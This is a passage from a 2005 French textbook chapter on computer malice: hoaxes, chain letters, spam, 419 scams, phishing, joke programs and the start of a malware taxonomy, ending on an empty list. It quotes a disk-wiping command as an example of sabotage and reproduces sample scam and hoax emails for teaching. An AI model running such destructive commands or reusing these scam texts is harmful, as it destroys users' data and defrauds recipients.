1.1.3 Les attaques logiques Avant de détailler les infections informatiques et les virus, il est bon de définir les autres éléments perturbateurs qui gravitent dans leur environnement. Nous ne nous étendrons ni sur la désinformation, ni sur le sabotage manuel. Nous indiquerons simplement que : • la désinformation est une technique de manipulation de l’information utilisée pour tromper ceux à qui est destinée la fausse information . Des personnes ou des sociétés sont nominativement mises en cause dans le but de leur nuire et de détériorer leur image de marque, • le sabotage manuel concerne l’exécution malveillante de commandes conduisant à la falsification de données ou la modification/destruction de procédures d’exploitation ou de sauvegardes L’exécution volontaire de la commande : format c: /u
PAGET_Ch01 Page 5 Lundi, 11. avril 2005 5:25 17
1.2 Les messages non sollicités (sans pièce jointe)
5
sur le poste d’un collègue de travail en est un exemple. Son but est le formatage du disque. Le commutateur /u efface toutes les données du disque, ce qui rend leur récupération impossible par les outils standards de récupération.
Figure 1.2 — Classification des attaques logiques
1.2 LES MESSAGES NON SOLLICITÉS (SANS PIÈCE JOINTE)
© Dunod – La photocopie non autorisée est un délit
Nous recevons tous de tels messages. Certains nous sont personnellement destinés : un ami, une connaissance, souhaite nous faire part d’une information qu’elle considère sérieuse et digne de foi. D’autres sont liés à un multi postage excessif à destination d’adresses collectées en parcourant les sites Web, les groupes de discussion ou les listes de distribution. Ces messages n’ont généralement aucune pièce jointe. Ils appartiennent à 5 grandes catégories : • les rumeurs, en anglais hoaxes : informations malveillantes et non fondées qui sont diffusées pour inquiéter les destinataires ou discréditer une personne ou un organisme, • les lettres chaînes : messages s’appuyant sur la crédibilité des destinataires faisant appel à la piété, la générosité et/ou la superstition et proposant éventuellement un enrichissement personnel, • les messages, souvent à caractère commercial, s’appuyant éventuellement sur une usurpation d’adresse électronique. Ce sont ces courriers non sollicités qui prennent en anglais le nom de spam1 et que le public français a maintenant intégré dans son vocabulaire, • les arnaques financières tel que le scam africain et les loteries : messages vous proposant un montage financier attractif ou, plus directement une importante somme d’argent derrière lesquels se cache une escroquerie qui s’articule autour d’une demande d’avance de fond de la part de la victime, 1. Cette expression serait issue d’un sketch des Monthy Python dans lequel le mot spam (contraction de spice ham – aliment, genre mortadelle, vendu en boite) est constamment répété afin de pousser les auditeurs à en devenir consommateurs.
PAGET_Ch01 Page 6 Lundi, 11. avril 2005 5:25 17
6
Chapitre 1. Les multiples aspects de la malveillance
• Le phishing, opération malveillante d’escroquerie qui consiste à récupérer des données personnelles et financières par le biais d’envoi massif d’emails non sollicités. Phishing veut dire fishing (pêcher) écrit avec le ph comme dans le jargon pirate (phreaking).
1.2.1 Les rumeurs ou hoaxes Colporter des rumeurs est une occupation vieille comme le monde. Le site français de Hoaxbuster1 se définit comme « la première ressource francophone sur les canulars du Web ». Il propose, en français, un inventaire régulièrement mis à jour de toutes ces rumeurs que nous allons maintenant détailler. Tous ces messages renferment les mêmes ingrédients : • l’existence d’un enjeu ou intérêt significatif, • le sensationnalisme. La rumeur est de nature à appâter les médias qui en sont avides (recherche de scoop), l’opinion publique qui y est sensible, ou une communauté Internet particulière. La présentation est accrocheuse, • l’accréditation par des relais connus et dignes de foi (CNN, Microsoft, McAfee), • l’existence d’embryons de preuves pour que la rumeur ne soit pas rejetée d’emblée mais, dans le doute, bien prise en compte, • l’incitation à la propagation. Outre l’encombrement du réseau, ils représentent deux risques majeurs : la lassitude et la perversion. Le terme anglophone de hoax leur est généralement attribué.
Les faux virus Notre premier exemple de rumeur concerne le monde viral. Il s’agit de messages vous alertant de l’arrivée imminente d’un nouveau virus hautement destructeur et pour lequel les anti-virus sont inefficaces. Ce ne sont pas des virus informatiques, mais plutôt une forme de virus social, ou encore de virus mental. La contagion consiste a transmettre le message d’avertissement. La multiplication de ces messages n’est pas sans danger. Elle peut, d’une part, favoriser l’indifférence face à une alerte réelle émise par un éditeur anti-virus. Elle peut, d’autre part, séduire un auteur de virus qui sera tenté de se l’approprier en y adjoignant un virus bien réel. Ce cas s’est déjà produit plusieurs fois : • VBS/LoveLetter.AJ@MM apparu en juin 2000 contenait un texte avec 3 rumeurs différentes sur des faux virus, • VBS/Wobble@MM (alias LostSoul) apparu en septembre 2000 affichait un message relatif à la rumeur du même nom (Wobbler). 1. http://www.hoaxbuster.com
PAGET_Ch01 Page 7 Lundi, 11. avril 2005 5:25 17
1.2 Les messages non sollicités (sans pièce jointe)
7
SECTOR ZERO A Virtual Card for You Un nouveau virus vient d’être découvert et a été classifié par Microsoft (www.microsoft.com) et par McAfee (www.mcafee.com) comme étant le plus destructeur n’ayant jamais existé!. Ce virus a été découvert hier après-midi par McAfee et aucun vaccin n’a encore été développé. Ce virus détruit le Sector Zero de votre disque dur, là où les informations vitales au fonctionnement de votre système sont emmagasinées. Ce virus agi de la façon suivante : il envoie luimême un message à toute votre liste de contact avec le titre "A Virtual Card for You " ou « Une carte virtuelle pour vous ». NE PAS OUVRIR AUCUN LIEN QUI PORTE CETTE MENTION. Aussitôt que la supposée carte virtuelle est ouverte, l’ordinateur gèle et l’utilisateur doit redémarrer son système. Lorsque les touches ctrl+alt+del ou le bouton "reset" sont enfoncés, le virus détruit le Sector Zero, votre disque dur sera alors détruit de façon permanente. S.V.P. distribuez ce message à plus de gens possible. Hier, en quelques heures seulement, le virus à causer la panique à New-York ; c’est ce qu’annonçait le canal nouvelles CNN (www.cnn.com). Cette alerte a été reçue par un employé de Microsoft lui-même. Figure 1.3 — Exemple de rumeur liée à un faux virus
L’humour
© Dunod – La photocopie non autorisée est un délit
Souvent liés à l’actualité et à la vie courante ou professionnelle, ces messages n’ont pas l’ambiguïté des précédents. Ils sont clairement reconnus comme humoristique par la personne qui les reçoit et les retransmet ensuite pour en faire profiter ses relations. ALERTE NOUVEAU VIRUS : JOSPIN.exe Si vous recevez un mail intitulé : « Avec Jospin tout ira bien » ou « Lionel Jospin l’avenir vous sourit » : SURTOUT NE L’OUVREZ PAS ! Il s’agit d’un virus, le JOSPIN.exe, qui se répand depuis 5 ans en France sous différentes formes : Aubry.exe (votre PC va planter en moins de 35h) Trotskyste.exe (votre imprimante n’imprime plus qu’en rouge) Rave.exe (Votre carte son n’est plus reconnue par le PC) Vaillant.exe (une photo d’Yvan Colonna remplacera votre fond d’écran) Fabius.exe (la capacité de votre mémoire vive est constamment revue à la baisse) Chevenement.exe (A chaque clic gauche, le message d’alerte « êtes vous sûr ? » s’affiche à l’écran) Ce virus est programmé pour devenir actif le 5 mai 2002 à 20h00. Presque la moitié des ordinateurs français auraient été contaminés en moins de 5 ans. Heureusement une mobilisation spontanée des professionnels du Net, des jeunes et des jeunes actifs a permis de trouver la parade en mettant au point l’anti-virus le plus >efficace à ce jour : l’esprit d’équipe. L’efficacité de cet anti-virus est proportionnelle au nombre d’internautes enregistrés sur www.lespritdequipe.com. En venant vous inscrire et en diffusant ce message d’alerte à l’ensemble de votre carnet d’adresses, vous éradiquerez le virus le plus austère que la France ait connue. L’Esprit d’Equipe Cellule Anti-Virus www.lespritdequipe.com Figure 1.4 — Exemple de message humoristique
PAGET_Ch01 Page 8 Lundi, 11. avril 2005 5:25 17
8
Chapitre 1. Les multiples aspects de la malveillance
Qu’ils soient liés aux faux virus ou à l’humour, si ces messages sont relayés à outrance, ils risquent d’encombrer les réseaux.
1.2.2 Les lettres chaînes Dans ma jeunesse, des lettres chaînes circulaient par la poste. Elles étaient souvent connues sous le nom de chaîne de Saint Antoine. Elles présentaient un texte de prière à Saint-Antoine qu’il fallait transmettre à ses amis. Dans les pays anglo-saxons, elles se sont aussi nommées chaîne de Saint Jude, en référence au patron des désespérés. Le courrier électronique est mieux adapté à cette forme de propagation avec l’instantanéité des échanges, son faible coût et sa capacité d’expédition à des destinataires multiples. L’expéditeur est souvent l’une de nos relations, proche ou lointaine, qui a retrouvé nos coordonnées dans son carnet d’adresses. L’appel à la solidarité est le principal objet de ce type de message. Une situation dramatique vous est exposée. Le message vous encourage à le réexpédier car des fournisseurs d’accès Internet sont censés les comptabiliser pour reverser une somme proportionnelle aux personnes en difficulté. NE PAS DÉTRUIRE ET FAIRE SUIVRE SVP !!! SALUT TOUT LE MONDE > > > LISEZ CE MESSAGE ET ENVOYER-LE AU MAX DE PERSONNES POSSIBLE. > SI VOUS DETRUISEZ CECI, VOUS N’AVEZ PAS DE COEUR ! JE SUIS UN JEUNE PAPA > DE 29 ANS. > MA FEMME ET MOI AVONS EU UNE VIE MERVEILLEUSE ENSEMBLE. DIEU NOUS > A BENIAVEC UN ENFANT ET SON NOM EST RACHEL. AUJOURD’HUI, ELLE EST AGÉE > DE 10 ANS. > > > IL N’Y A PAS LONGTEMPS, LE DOCTEUR A DETECTE UN CANCER DU CERVEAU > DANS SON PETIT CORPS. > IL Y A SEULEMENT UNE SOLUTION POUR LA SAUVER : C’EST UNE OPÉRATION. > MALEUREUSEMENT, NOUS N’AVONS PAS ASSEZ D’ARGENT POUR PAYER LE PRIX. > AOL ET ZDNET ONT ACCEPTE DE NOUS AIDER. > LE SEUL MOYEN QU’ILS ONT DE NOUS AIDER EST LE SUIVANT : > JE VOUS ENVOIE CET EMAIL, ET VOUS L’ENVOYEZ A D’AUTRES > PERSONNES. > AOL VA SUIVRE CET EMAIL, ET COMPTERA COMBIEN DE PERSONNES L’ONT RECU. > CHAQUE PERSONNE QUI OUVRE CET E-MAIL ET QUI L’ENVOIE A AU MOINS 3 > PERSONNES, NOUS DONNERA 32 CENTS. > S’IL VOUS PLAIT, AIDEZ-NOUS !!! MERCI. > KEVIN & MÉLANIE Figure 1.5 — Exemple de fausse chaîne de solidarité
PAGET_Ch01 Page 9 Lundi, 11. avril 2005 5:25 17
1.2 Les messages non sollicités (sans pièce jointe)
9
En 1997, Daniel Guinier, expert judiciaire près la Cour d’appel de Colmar, mettait en garde le public contre certaines chaînes de solidarité1 : Évitons toute paranoïa mais, en rapport avec le texte suivant, posons-nous tout de même la question : Que peut donc rapporter l’envoi de simples cartes de visite ? Monsieur (ou madame)… Je reçois de monsieur (ou madame) … la requête suivante : … est un petit garçon (ou une petite fille), de 7 à 11 ans, actuellement malade ou souffrant d’un cancer ou une leucémie en phase terminale. Un de ses souhaits serait d’être inscrit dans le Guiness Book des Records, avec le plus grand nombre de cartes de visite jamais rassemblées par une seule personne. Si vous voulez exaucer son souhait, faites-lui parvenir votre carte professionnelle à l’adresse suivante :… et faites suivre les pages de listes ci-jointes, y compris la vôtre, à dix autres personnes ou sociétés de votre connaissance. Je vous serais reconnaissant de ne pas briser cette chaîne de solidarité, etc. Si on peut noter que l’objet de la lettre est neutre, en apparence, puisqu’il n’est pas question d’argent, il fait tout de même référence à la qualification de la carte, dite : « professionnelle » ou « d’affaires ». En revanche, il y a fort à penser que certaines sociétés seraient prêtes à payer cher pour disposer d’un fichier actualisé de professionnels, plutôt à l’aise et à l’écoute des autres. Ce type de demande n’est pas un cas isolé. Daniel Guinier cite trois exemples ou l’appel pour participer à une telle chaîne a été présenté dans les mêmes termes :
© Dunod – La photocopie non autorisée est un délit
…en 1993, en faveur d’un petit Américain leucémique de onze ans ; en 1994, pour un petit Anglais de sept ans souffrant d’un cancer ; en 1997, à destination d’une petite Portugaise de sept ans dont les jours sont comptés. Il semble bien que ce système de collecte fonctionne et c’est le caractère urgent de la demande qui hâte les réponses. Tous les moyens sont bons pour créer des fichiers d’adresses électroniques de personnes vulnérables qui pourront ensuite faire l’objet d’autres attaques ciblées. Le mauvais sort, la chance ou la fortune peuvent aussi arriver dans votre boite à lettre. D’autres chaînes utilisent la crédibilité des gens face à l’approche de malheurs annoncés ou de bonheurs futurs selon le renvoi ou non du message en quantité. La aussi, la meilleure solution est la suppression immédiate du message.
1. Attention aux fausses chaînes de solidarité. Document disponible à l’adresse : http:// www.afscv.org/misc/chaines.htm.
PAGET_Ch01 Page 10 Lundi, 11. avril 2005 5:25 17
10
Chapitre 1. Les multiples aspects de la malveillance
Voeux de bonne année 2000 de la part du Dalai Lama Vous trouverez qu’ils valent la peine d’être lus et partagés : Ne conservez pas ce message. Ce mantra doit quitter vos mains dans les 96 heures. Vous aurez une surprise trés agréable. Ceci est véridique, même si vous n’êtes pas superstitieux. I N S T R U C T I O N S P O U R M E N E R V O T R E V IE 1. Tenez compte du fait que le grand amour et les grandes réussites impliquent de grands risques. 2. Lorsque vous perdez, ne perdez pas la leçon. 3. Suivez les trois R : Respect de soi-même Respect des autres et Responsabilité de tous vos actes. 4. Souvenez-vous que ne pas obtenir ce que vous voulez est parfois un merveilleux coup de chance. 5. Apprenez les règles pour savoir comment les transgresser correctement. 6. Ne laissez pas une petite dispute meurtrir une grande amitié. 7. Lorsque vous réalisez que vous avez commis une erreur, prenez immédiatement des mesures pour la corriger. 8. Passez un peu de temps seul chaque jour. 9. Ouvrez vos bras au changement, mais ne laissez pas s’envoler vos valeurs. 10. Rappelez-vous que le silence est parfois la meilleure des réponses. 11. Vivez votre vie d’une façon bonne et honorable. Ainsi, lorsque vous vieillirez et que vous regarderez en arrière, vous en profiterez une deuxième fois. 12. Un foyer aimant est la fondation de votre vie. 13. Dans les désaccords que vous avez avez ceux que vous aimez, ne vous occupez que de la situation actuelle. Ne réveillez pas le passé. 14. Partagez votre savoir. C’est une manière d’atteindre l’immortalité. 15. Soyez tendre avec la Terre. 16. Une fois par an, allez quelque part où vous n’êtes jamais allé auparavant. 17. Souvenez-vous que la meilleure des relations est celle dans laquelle l’amour que chacun porte à l’autre dépasse le besoin que vous avez de l’autre. 18. Jugez vos succès d’après ce que vous avez dù sacrifier pour les obtenir. 19. Approchez l’amour et la cuisine avec un abandon insouciant. TRANSMETTEZ CE COURRIEL MANTRA A AU MOINS 5 PERSONNES ET VOTRE VIE S’AMELIORERA. 0-4 personnes :Votre vie s’amèliorera légèrement. 5-9 personnes : Votre vie s’améliorera selon vos désirs. 9-14 personnes :Vous aurez au moins 5 surprises dans les 3 prochaines semaines. 15 personnes et plus : Votre vie s’améliorera de façon drastique et tout ce que vous avez pu rêver commencera à prendre forme. Je sais aussi que les rêves se réalisent vraiment, et je vous assure de mes meilleurs voeux et de mes plus grand efforts en ce sens. Salutations, Dalaï Lama Figure 1.6 — Exemple de chaîne « bonne fortune »
L’appât du gain est aussi un prétexte pour de propagation des chaînes. Il y a celles qui reprennent les concepts développés dans les appels à la solidarité en vous promettant d’être le bénéficiaire d’une partie des sommes promises. D’autres vous présentent des offres promotionnelles alléchantes avec, à la clé, des logiciels ou des équipements gratuits dans la mesure ou vous participez à la diffusion de l’information.
PAGET_Ch01 Page 11 Lundi, 11. avril 2005 5:25 17
1.2 Les messages non sollicités (sans pièce jointe)
11
En 2000, Ericsson et Nokia en on fait les frais. Le site Hoaxbuster diffuse leurs démentis qui n’ont jamais su totalement stopper la diffusion1. Citons enfin dans cette catégorie, les pétitions qui ne contiennent aucune adresse centralisant la collecte mais demandent simplement la signature d’un e-mail puis la redistribution vers ses connaissances. Du fait de ce concept, elles n’arriveront jamais sur les bureaux des personnes qui pourraient être concernées.
1.2.3 Le spamming La Commission Nationale de l’Informatique et des Libertés (CNIL) donne du spam la définition suivante : il s’agit de l’envoi massif et parfois répété de courriers électroniques non sollicités à des personnes avec lesquelles l’expéditeur n’a jamais eu de contact, et dont il a capté l’adresse électronique de façon irrégulière. Nous savons tous qu’il est extrêmement facile et peu coûteux d’atteindre des centaines d’individus au travers du courrier électronique. Cela n’a pas échappé aux publicitaires et à divers individus peu recommandables qui se cachent souvent derrière une adresse falsifiée pour inonder nos boites aux lettres. L’expéditeur ne connaît pas les destinataires, il ne cible ni ses relations personnelles, ni ses relations professionnelles. Les adresses ont été collectées à grande échelle. On retrouve principalement dans ces courriers :
© Dunod – La photocopie non autorisée est un délit
• des messages à caractère commercial, • des incitations à la visite de site Web, • des incitations à la prise de contact (pornographie). Outre le désagrément induit, ces messages provoquent un encombrement de la bande passante et une saturation de nos boites de réception qui, en situation extrême, risquent de bloquer l’arrivée de messages valides. Rentable pour les spammeurs, qui y voient une façon peu coûteuse de prospecter massivement de nouveaux clients, cette pratique a un coût pour les internautes, les entreprises et les fournisseurs d’accès à Internet : coûts de connexion, de stockage des messages mais aussi temps passé à trier, filtrer, ou gérer les problèmes techniques engendrés. En juillet 2002, la CNIL ouvrit une boite à lettre électronique permettant aux internautes s’en estimant victimes de lui transférer les messages non sollicités qu’ils recevaient. Il s’agissait d’évaluer plus précisément l’ampleur de phénomène et de proposer des solutions tant techniques que juridiques : • • • •
Plus de 320 000 messages furent reçus en 3 mois de fonctionnement. 85 % des spams étaient rédigés en langue anglaise. 8 % étaient d’origine asiatique. 7 % étaient rédigés en langue française, la proportion des autres langues étant négligeable.
1. Désinformation – Ericsson offre ses portables : http://www.hoaxbuster.com/hoaxliste/hoax.php?idArticle=1058.
PAGET_Ch01 Page 12 Lundi, 11. avril 2005 5:25 17
12
Chapitre 1. Les multiples aspects de la malveillance
• Les particuliers semblaient plus particulièrement visés par les contenus. 85 % d’entre eux proposaient des produits ou des services susceptibles de les intéresser tandis que les 15 % restant visaient les besoins d’entreprises. • Les messages de langue anglaise autres que pornographiques (42 %) concernaient principalement les secteurs de la santé (13 %) et des produits financiers (39 %) alors que ceux rédigés en français, à l’exception des offres de services à caractère pornographique (55 %), étaient moins spécialisés en raison notamment de notre encadrement législatif et réglementaire plus strict et de nos habitudes de consommation différentes. • La pratique du spam semblait essentiellement le fait de petites entreprises utilisant le réseau Internet comme vecteur privilégié de communication commerciale. Dans un communiqué de presse de février 2004, l’entreprise Postini indiquait que les courriels indésirables concernaient approximativement 79 % de tous les courriels analysés1. Les statistiques en ligne que l’entreprise diffuse de manière continue ne montrent aucune diminution2.
Figure 1.7 — Statistiques Postini – 7 septembre 2004
La France n’est pas épargnée, le groupe français Secuserve présente sur son site les rapports de répartition des menaces constatées en France. Ils concernent plusieurs centaines de noms de domaines de clients français, toute taille, et tout secteur d’activité. Moins pessimiste, il annonce néanmoins plus de 50 % de spam3. 1. Despite new spam law, Postini reports junk e-mail still piling up, communiqué disponible à l’adresse : http://www.postini.com/press/pr/pr020404.html. 2. Postini Resource Center – E-mail Stats : http://www.postini.com/stats/. 3. SecuServe – Sécurité Internet : http://www.secuserve.com.
PAGET_Ch01 Page 13 Lundi, 11. avril 2005 5:25 17
1.2 Les messages non sollicités (sans pièce jointe)
13
Figure 1.8 — Statistiques SecuServe – 7 septembre 2004
Le phénomène est devenu si important qu’il a amené le gouvernement français à lancer un groupe de concertation et d’action contre le spam. Il a été installé le 16 janvier 2004 et est animé par la Direction du Développement des Médias (DDM)1. Selon le communiqué de presse officiel, son objectif est de favoriser la concertation entre les acteurs publics et privés de la lutte contre le spam, et la coordination de leurs actions, en France comme à l’international, dans un esprit de responsabilité.
© Dunod – La photocopie non autorisée est un délit
Les techniques d’envoi massif de courrier non sollicité évoluent au fil des ans. La plupart des procédés utilisés par les spammeurs sont, dans un premier temps, restés conventionnels et imparfaits dans leurs concepts : • Utilisation de comptes temporaires. Ils sont ouverts chez des fournisseurs de service Internet. Mis en service – par exemple – un vendredi, ils peuvent permettre pendant un cours laps de temps des envois massifs. Le week-end passé, et lorsque les plaintes s’accumulent, le compte est fermé. Cette pratique n’est pas sans risque pour son auteur : pour ouvrir le compte, il faut souvent laisser une adresse et un numéro de carte de crédit valable. • Utilisation de relais de messagerie ouverts (serveurs relais SMTP ouverts). Ces serveurs sont capables d’envoyer des messages en provenance d’expéditeurs inconnus vers des destinataires qui n’appartiennent pas à leur domaine. Ces machines sont connues ou très vite repérées ; il existe des bases de données accessibles par interrogation DNS (exemple : Mail Abuse Prevention System, LLC2). Cette seconde pratique est contrée par l’utilisation de listes noires (blacklists). Celles-ci empêchent la réception de tout mail en provenance de ces serveurs non sécurisés, non fiables et dangereux. 1. Direction du Développement des Médias, Dossier Thématique Spam : http://www.ddm.gouv.fr/dossiers_thematiques/documents/spam00.html. 2. MAPS – Mail Abuse Prevention System, LLC : http://www.mail-abuse.com/.
PAGET_Ch01 Page 14 Lundi, 11. avril 2005 5:25 17
14
Chapitre 1. Les multiples aspects de la malveillance
• Utilisation de serveurs mandataires non sécurisés (proxy server HTTP/ SOCKS). Grâce au protocole SOCKS, l’utilisateur peut se connecter à Internet sans être vu et tout en étant protégé de l’extérieur. Le trafic se fait par le biais de ports connus mais non sécurisés. Cette dernière solution a aussi ses inconvénients : la simple fermeture du port stoppe toute possibilité de trafic et les proxysocks ont tendance à apparaître et disparaître assez rapidement. Depuis le milieu de l’année 2003, une technique plus sophistiquée voie le jour. Pour palier aux inconvénients listés ci dessus, le virus vient maintenant en aide aux spammeurs. Il installe sur les machines qu’il infecte de mini serveurs mandataires pirates. Les postes des internautes imprudents deviennent ainsi des relais de distribution. Les virus de la famille W32/Sobig@MM ont été des précurseurs dans ce domaine.
1.2.4 Le scam africain Cet aspect de la malveillance informatique n’est pas précisément à classer dans la famille des rumeurs ou du courrier non sollicité. Il tient directement de la fraude financière. Le courrier électronique en question prétend provenir du fils d’un haut fonctionnaire, du frère d’un industriel ou encore de la femme d’un ex-chef d’état africain. Il vous explique qu’une importante somme d’argent est bloquée quelque part. Avec votre aide, et en utilisant votre surface financière pour le transfert de fond, votre contact vous explique qu’il serait possible de débloquer ces sommes, et une récompense substantielle vous est proposée si vous acceptez ce contrat. Si, vous répondez à ces mails, votre correspondant vous demandera sans doute d’ouvrir un compte sur une banque africaine en y versant des liquidités pour payer des taxes, des frais d’avocats ou encore des bakchichs qui pourront aider au bon déroulement de l’affaire. Il vous interrogera également sur votre environnement financier en vous en demandant les détails. Il est donc important de ne jamais répondre à ce type de message. Cette arnaque intitulée Fraude pour Paiement d’honoraires anticipés est aussi connue comme fraude 419 (numéro de la section du code criminel du Nigeria qui couvre ce type de problèmes). Dans les années 80, elle circulait par courrier postal ou télécopie. Apparue au Nigeria, son succès a vite franchi les frontières de l’Afrique et de la toile mondiale. De nombreuses informations à ce sujet sont disponible sur Internet1. En France, la 9ème division de la Direction Centrale de la Police Judiciaire (DCPJ) s’attache à la répression de telles infractions2. 1. Nigeria – The 419 Coalition Website : http://home.rica.net/alphae/419coal/. 2. La police nationale – Les escroqueries internationales : http://www.interieur.gouv.fr/rubriques/c/c3_police_nationale/c332_dcpj/ Les_escroqueries_internationales.
PAGET_Ch01 Page 15 Lundi, 11. avril 2005 5:25 17
1.2 Les messages non sollicités (sans pièce jointe)
15
Ces messages sont généralement en anglais, il est plus rare de les rencontrer en français. Dans le document ci-dessous, j’ai volontairement tronqué le numéro de téléphone et l’adresse e-mail de l’expéditeur. From: Junior Sankoh [
[email protected]] Sent: Friday, January 23, 2004 8:41 PM To:
[email protected] Subject: [spam] Investment Assistance Bonjour, Cette proposition peut vous paraître étrange. Veuillez comprendre que c’est la situation que je traverse actuellement qui m’a poussé à contacter une personne totalement étrangère (vous). Permettez-moi de me présenter ; Je suis citoyen de la Sierra Léone, mon nom est Junior Foday SANKOH. Je viens d’hériter d’une somme importante d’argent et je ne m’y connais pas en transfert international ni en placement. J’ai donc besoin de vous pour m’aider à transférer et à gérer cette fortune. Mon défunt père Foday Sabanah Sankoh fut chef des rebelles du (R. U. F.), il contrôlait toute la zone diamantifère de la Sierra Léone. Avant sa mort le 29 Juillet dernier, il fut arrêté, emprisonné et condamné par le gouvernement de mon pays. Mon père a eu l’idée ingénieuse de déposer en mon nom dans une société de sécurité et de gardiennage en République du Bénin ( Afrique de l’Ouest ) la somme d’argent de 50 millions de dollar américain. Le dépôt a été fait depuis 4 ans. Tous les documents originaux concernant ce dépôt sont en ma possession en tant qu’héritier légitime. Je voudrais que vous m’apportiez l’assistance nécessaire pour pouvoir récupérer ce fond et le transférer hors d’Afrique. J’attends impatiemment votre réponse et vous suggère de m’appeler sur mon téléphone direct pour plus d’explications. Mes salutations. Junior. Foday SANKOH. Tel : 00229 90 xx xx email :
[email protected]
© Dunod – La photocopie non autorisée est un délit
Figure 1.9 — Exemple de « scam africain » en version française
1.2.5 Le phishing Il s’agit d’obtenir des données sensibles afin de commettre des impostures à l’identité et des escroqueries financières. Comme l’a expliqué Danielle Kaminsky lors du Panorama de la cybercriminalité 20031, le phishing joue sur l’illusion et les apparences. L’imposture débute souvent par la réception d’un courrier non sollicité, l’escroc la réalise en 3 étapes : • Il se fait passer pour qui il n’est pas (une entreprise connue) pour solliciter les données convoitées auprès des internautes. • Il présente des contenus fallacieux qui font illusion (motifs évoqués, faux liens, fausses pages web, etc.). 1. CLUSIF – Panorama de la cybercriminalité – année 2003 : https://www.clusif.asso.fr/fr/production/ouvrages/pdf/PanoCrim2k3-fr.pdf.
PAGET_Ch01 Page 16 Lundi, 11. avril 2005 5:25 17
16
Chapitre 1. Les multiples aspects de la malveillance
• Une fois les données convoitées recueillies, il se fait passer pour qui il n’est pas (les internautes escroqués) afin de se procurer des services ou des biens (argents, marchandises, papiers d’identité et autres documents administratifs). Des courriels s’annonçant en provenance d’eBay (site d’acheteurs et de vendeurs sur Internet), circulent en avisant les personnes que leur compte semble avoir été piraté.
Figure 1.10 — Exemple de phishing
Les utilisateurs du site sont invités à suivre le lien dans le message s’ils ne veulent pas que leur compte soit suspendu. Ils sont alors re-dirigés vers une page web, miroir du site officiel. Cette page demande tout d’abord le pseudo et le mot de passe. Une fois ceux ci renseignés, un long questionnaire est proposé et de nombreuses données privées sont demandées. La capture d’écran suivante n’en est qu’une petite partie.
PAGET_Ch01 Page 17 Lundi, 11. avril 2005 5:25 17
1.3 Les messages non sollicités (avec pièce jointe)
17
Figure 1.11 — Exemple de phishing (suite)
© Dunod – La photocopie non autorisée est un délit
1.3 LES MESSAGES NON SOLLICITÉS (AVEC PIÈCE JOINTE) Les mails indésirables ne représentent qu’une gène pour les utilisateurs. De faible dimension, ils peuvent néanmoins encombrer les réseaux et ralentir les traitements. De tailles plus conséquentes, des programmes humoristiques ou des fichiers censés contenir des informations sensationnelles ou simplement savoureuses peuvent gravement perturber les serveurs de messagerie. Plus ils seront relayés, plus les réseaux seront encombrés, voire bloqués. En 1999, à l’époque du Monicagate,de nombreux documents reprenaient les actes du procès détaillant la nature de la relation inconvenante entre Bill Clinton et Monica Lewinsky. D’une taille supérieure à un méga-octet, l’un de ces fichiers était diffusé sans retenue. Générant un effet boule de neige, plusieurs serveurs de messagerie d’entreprises de renom ne purent supporter la surcharge de trafic induite et finirent par cesser de fonctionner.
PAGET_Ch01 Page 18 Lundi, 11. avril 2005 5:25 17
18
Chapitre 1. Les multiples aspects de la malveillance
1.4 FARCES ET CANULARS Comme leur nom l’indique, les canulars ou les farces (jokes en anglais) sont conçus pour faire rire. Ils ne se reproduisent pas et ne sont donc pas des virus. Ils n’ont aucune activité destructrice. La plupart des programmes de ce type sont de taille réduite. Citons par exemple frogbender.exe qui imagine le comportement d’une grenouille dans un mixer en fonction de sa vitesse de rotation – réglage de 1 à 10.
Figure 1.12 — Frogbender : un programme inoffensif mais parfois encombrant
Certains canulars sont cependant difficiles à désactiver, ils n’hésitent pas à modifier la configuration de l’ordinateur pour réapparaître régulièrement. La limite entre farce et programme indésirable ou malveillant est donc étroite. Lorsqu’il peut s’avérer perturbateur, le canular est généralement détecté par l’anti-virus. Il faudra néanmoins parfois activer certaines options particulières de recherche. Les principaux effets des canulars sont : • affichage d’un message, une image ou une animation (BlueSprite joke), • manipulation du lecteur de CD-ROM (CokeGift joke), • simulation de l’effacement de fichiers ou du formatage du disque (Fake-Format joke), • perturbation d’affichage (Flipped joke, IconDance joke, Slider joke), • perturbation du fonctionnement de la souris ou du clavier (MouseShoot joke), • usurpation d’identité sur un programme valide (Habar joke), • ouverture intempestive de fenêtres (LikeWind joke).
PAGET_Ch01 Page 19 Lundi, 11. avril 2005 5:25 17
19
1.5 Les infections informatiques
Figure 1.13 — Le puzzle proposé par le canular Slider Joke doit être
résolu avant de pouvoir reprendre son travail
1.5 LES INFECTIONS INFORMATIQUES
© Dunod – La photocopie non autorisée est un délit
Les infections informatiques sont de deux ordres. Nous sommes ici face à des programmes malveillants. On différencie : • les programmes simples, • les programmes auto reproducteurs.
1.5.1 Les programmes simples Un programme simple contient une fonctionnalité malveillante qui est appelée à se déclencher à un instant donné et sur un critère donné. Il n’y a pas propagation. Le programme doit être introduit (volontairement ou non) dans l’ordinateur ciblé. Même si un virus peut le véhiculer, l’utilisateur peut être amené à l’introduire sur sa machine en croyant installer un programme banal. Lorsque qu’il s’exécute, la fonctionnalité malveillante (en anglais, payload) s’active. Une action destructive, pénalisante, ou simplement perturbatrice est alors
PAGET_Ch01 Page 20 Lundi, 11. avril 2005 5:25 17
20
Chapitre 1. Les multiples aspects de la malveillance
mise en œuvre. Selon son but, elle sera visible ou non par l’utilisateur. La première exécution du programme s’accompagne souvent d’une modification du système qui permet ensuite une réactivation automatique à chaque mise en route de la machine. Dans d’autres cas, le programme se termine une fois son but atteint. On retrouve dans cette catégorie des programmes commerciaux indésirables dont l’usage a été détourné, des bombes logiques, des chevaux de Troie et des portes dérobées. Il existe aussi des outils de capture d’information, d’attaque réseau et d’appropriation de ressource. Les anti-virus n’établissent généralement pas de distinction et tous ces programmes simples ; ils sont détectés en tant que Trojans.
Programmes commerciaux indésirables Il s’agit généralement d’outils d’administration à distance ou de programmes indirectement dédiés à des tâches d’intrusion ou de piratage. S’ils ne sont pas légalement et volontairement utilisés leur usage s’apparente à de la malveillance. On classe aussi dans cette catégorie certains programmes du commerce qui peuvent être configurés pour être totalement invisibles aux yeux de l’utilisateur. Même si elle est parfois contestable, l’origine de ces programmes est juridiquement légitime. S’ils avaient été créés dans un but purement malhonnête, ils appartiendraient, pour la plupart, à la famille des chevaux de Troie. Tout comme pour les canulars, nombre d’entre eux sont détectés par de nombreux anti-virus du commerce, si l’option de recherche adéquat est activée. On retrouve principalement dans cette catégorie des programmes permettant : • • • • • • • • • • • • • • • •
